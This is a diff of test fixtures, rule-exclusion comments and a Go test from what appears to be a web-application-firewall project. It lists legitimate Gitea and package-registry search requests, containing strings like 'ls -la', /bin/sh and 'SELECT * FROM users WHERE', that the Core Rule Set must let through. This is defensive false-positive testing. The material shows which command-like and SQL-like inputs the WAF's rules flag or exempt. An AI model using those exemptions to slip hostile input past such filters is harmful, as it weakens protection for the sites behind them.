{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'python3'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'powershell'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'tools'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'python3'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'powershell'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'tools'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
-161
@@ -381,167 +381,6 @@
|
|||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
|
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
|
||||||
/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
|
/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||||
|
|
||||||
# The API's searches that gitea and Forgejo share, sent with curl to gitea
|
|
||||||
# 1.27.3. Each searches for words that name commands and files, such as python3
|
|
||||||
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
|
|
||||||
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
|
|
||||||
# search of unadopted repositories takes an owner and a name.
|
|
||||||
/api/v1/repos/search?q=python3&limit=10
|
|
||||||
/api/v1/repos/search?q=powershell&limit=10
|
|
||||||
/api/v1/repos/search?q=ls%20-la&limit=10
|
|
||||||
/api/v1/repos/search?q=.htaccess&limit=10
|
|
||||||
/api/v1/repos/search?q=docker-compose.yml&limit=10
|
|
||||||
/api/v1/repos/search?q=tools&limit=10
|
|
||||||
/api/v1/users/search?q=python3
|
|
||||||
/api/v1/users/search?q=powershell
|
|
||||||
/api/v1/users/search?q=ls%20-la
|
|
||||||
/api/v1/users/search?q=.htaccess
|
|
||||||
/api/v1/users/search?q=bob
|
|
||||||
/api/v1/repos/issues/search?q=python3&type=issues&state=open
|
|
||||||
/api/v1/repos/issues/search?q=powershell&type=issues&state=open
|
|
||||||
/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open
|
|
||||||
/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open
|
|
||||||
/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open
|
|
||||||
/api/v1/repos/issues/search?q=build&type=issues&state=open
|
|
||||||
/api/v1/repos/alice/tools/issues?state=open&q=python3
|
|
||||||
/api/v1/repos/alice/tools/issues?state=open&q=powershell
|
|
||||||
/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la
|
|
||||||
/api/v1/repos/alice/tools/issues?state=open&q=.htaccess
|
|
||||||
/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml
|
|
||||||
/api/v1/packages/alice?q=python3
|
|
||||||
/api/v1/packages/alice?q=powershell
|
|
||||||
/api/v1/packages/alice?q=ls%20-la
|
|
||||||
/api/v1/packages/alice?q=.htaccess
|
|
||||||
/api/v1/packages/alice?q=%2Fbin%2Fsh
|
|
||||||
/api/v1/packages/alice?q=install-script
|
|
||||||
/api/v1/packages/alice?q=%40alice%2Ftools-cli
|
|
||||||
/api/v1/topics/search?q=python3
|
|
||||||
/api/v1/topics/search?q=powershell
|
|
||||||
/api/v1/topics/search?q=ls%20-la
|
|
||||||
/api/v1/topics/search?q=.htaccess
|
|
||||||
/api/v1/topics/search?q=docker
|
|
||||||
/api/v1/orgs/acme/teams/search?q=python3
|
|
||||||
/api/v1/orgs/acme/teams/search?q=powershell
|
|
||||||
/api/v1/orgs/acme/teams/search?q=ls%20-la
|
|
||||||
/api/v1/orgs/acme/teams/search?q=.htaccess
|
|
||||||
/api/v1/orgs/acme/teams/search?q=developers
|
|
||||||
/api/v1/admin/emails/search?q=python3
|
|
||||||
/api/v1/admin/emails/search?q=powershell
|
|
||||||
/api/v1/admin/emails/search?q=ls%20-la
|
|
||||||
/api/v1/admin/emails/search?q=.htaccess
|
|
||||||
/api/v1/admin/emails/search?q=alice
|
|
||||||
/api/v1/admin/unadopted?query=python3
|
|
||||||
/api/v1/admin/unadopted?query=powershell
|
|
||||||
/api/v1/admin/unadopted?query=ls%20-la
|
|
||||||
/api/v1/admin/unadopted?query=.htaccess
|
|
||||||
/api/v1/admin/unadopted?query=alice%2Fpython3-app
|
|
||||||
/api/v1/admin/unadopted?query=alice%2Flegacy-site
|
|
||||||
/api/v1/repos/alice/tools/milestones?state=open&name=python3
|
|
||||||
/api/v1/repos/alice/tools/milestones?state=open&name=powershell
|
|
||||||
/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la
|
|
||||||
/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess
|
|
||||||
/api/v1/repos/alice/tools/milestones?state=open&name=v1.0
|
|
||||||
|
|
||||||
# The package registries' searches, sent to gitea 1.27.3 by each registry's own
|
|
||||||
# client: cargo, knife, composer, conan 1 and 2, dotnet and npm. curl sent the
|
|
||||||
# requests no client sends: the Chef cookbook list with a search, and NuGet's
|
|
||||||
# Packages() with the search in $filter, as NuGet's client builds it for a feed
|
|
||||||
# without Search(). curl also sent each NuGet Search() and Packages() search to
|
|
||||||
# Search()/$count and Packages()/$count, which count its results. Each searches
|
|
||||||
# for words that name commands and files, such as python3 and .htaccess, and
|
|
||||||
# for plain words. A Composer, Conan or npm name can hold a slash, so those
|
|
||||||
# searches are also sent /bin/sh.
|
|
||||||
/api/packages/alice/cargo/api/v1/crates?q=python3&per_page=10
|
|
||||||
/api/packages/alice/cargo/api/v1/crates?q=powershell&per_page=10
|
|
||||||
/api/packages/alice/cargo/api/v1/crates?q=ls%20%2Dla&per_page=10
|
|
||||||
/api/packages/alice/cargo/api/v1/crates?q=%2Ehtaccess&per_page=10
|
|
||||||
/api/packages/alice/cargo/api/v1/crates?q=docker%2Dcompose%2Eyml&per_page=10
|
|
||||||
/api/packages/alice/cargo/api/v1/crates?q=tools&per_page=10
|
|
||||||
/api/packages/alice/chef/api/v1/search?q=python3&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/search?q=powershell&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/search?q=ls%20-la&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/search?q=.htaccess&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/search?q=docker-compose.yml&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/search?q=tools&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/cookbooks?q=python3&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/cookbooks?q=powershell&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/cookbooks?q=ls%20-la&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/cookbooks?q=.htaccess&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/cookbooks?q=docker-compose.yml&items=9999999&start=0
|
|
||||||
/api/packages/alice/chef/api/v1/cookbooks?q=tools&items=9999999&start=0
|
|
||||||
/api/packages/alice/composer/search.json?q=python3&type=
|
|
||||||
/api/packages/alice/composer/search.json?q=powershell&type=
|
|
||||||
/api/packages/alice/composer/search.json?q=ls+-la&type=
|
|
||||||
/api/packages/alice/composer/search.json?q=.htaccess&type=
|
|
||||||
/api/packages/alice/composer/search.json?q=%2Fbin%2Fsh&type=
|
|
||||||
/api/packages/alice/composer/search.json?q=alice%2Ftools-cli&type=
|
|
||||||
/api/packages/alice/composer/search.json?q=docker-compose.yml&type=
|
|
||||||
/api/packages/alice/composer/search.json?q=tools&type=
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=python3
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=powershell
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=ls+-la
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=.htaccess
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=%2Fbin%2Fsh
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=tools%2F%2A
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=docker-compose.yml
|
|
||||||
/api/packages/alice/conan/v1/conans/search?q=tools
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=python3
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=powershell
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=ls+-la
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=.htaccess
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=%2Fbin%2Fsh
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=tools%2F1.0%40alice%2Fstable
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=docker-compose.yml
|
|
||||||
/api/packages/alice/conan/v2/conans/search?q=tools
|
|
||||||
/api/packages/alice/nuget/query?q=python3&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/query?q=powershell&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/query?q=ls%20-la&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/query?q=.htaccess&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/query?q=docker-compose.yml&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/query?q=tools&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'python3'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'powershell'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'tools'&$top=30
|
|
||||||
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'python3'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'powershell'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30
|
|
||||||
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'tools'&$top=30
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=python3&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=powershell&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=ls+-la&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=.htaccess&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=%2Fbin%2Fsh&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=%40alice%2Ftools-cli&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=docker-compose.yml&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
/api/packages/alice/npm/-/v1/search?text=tools&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
|
|
||||||
|
|
||||||
# Pages, raw files and edit pages of files, and the API's call for their
|
# Pages, raw files and edit pages of files, and the API's call for their
|
||||||
# contents.
|
# contents.
|
||||||
/owner/repo/src/branch/main/package.json
|
/owner/repo/src/branch/main/package.json
|
||||||
|
|||||||
@@ -5,7 +5,7 @@
|
|||||||
# before the rules it switches off, so this file is loaded before the Core Rule
|
# before the rules it switches off, so this file is loaded before the Core Rule
|
||||||
# Set's rules. Each comment names a request a rule refused. An exclusion on a
|
# Set's rules. Each comment names a request a rule refused. An exclusion on a
|
||||||
# field of a body applies only when the query has no parameter of that name, so
|
# field of a body applies only when the query has no parameter of that name, so
|
||||||
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
||||||
#
|
#
|
||||||
# The apps encrypt the names, notes, addresses and file names of vault items,
|
# The apps encrypt the names, notes, addresses and file names of vault items,
|
||||||
# folders, collections and sends before they send them. These values pass
|
# folders, collections and sends before they send them. These values pass
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||||
const vaultwardenThreshold = 5
|
const vaultwardenThreshold = 5
|
||||||
|
|
||||||
// Paths of Vaultwarden's API and admin page.
|
// Paths of Vaultwarden's API and admin page.
|
||||||
@@ -456,11 +456,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
|||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
body := passwordBody(t, sent.r, sent.names, hashes...)
|
body := passwordBody(t, sent.r, sent.names, hashes...)
|
||||||
if len(body) > bodyInspectionSize {
|
if len(body) > bodyLimit {
|
||||||
t.Fatalf(
|
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||||
"a body of %d bytes is cut at bodyInspectionSize",
|
|
||||||
len(body),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
# rules. Each comment names a request the rule refused. An exclusion on a field
|
# rules. Each comment names a request the rule refused. An exclusion on a field
|
||||||
# of a body applies only when the query has no parameter of that name, so it
|
# of a body applies only when the query has no parameter of that name, so it
|
||||||
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
|
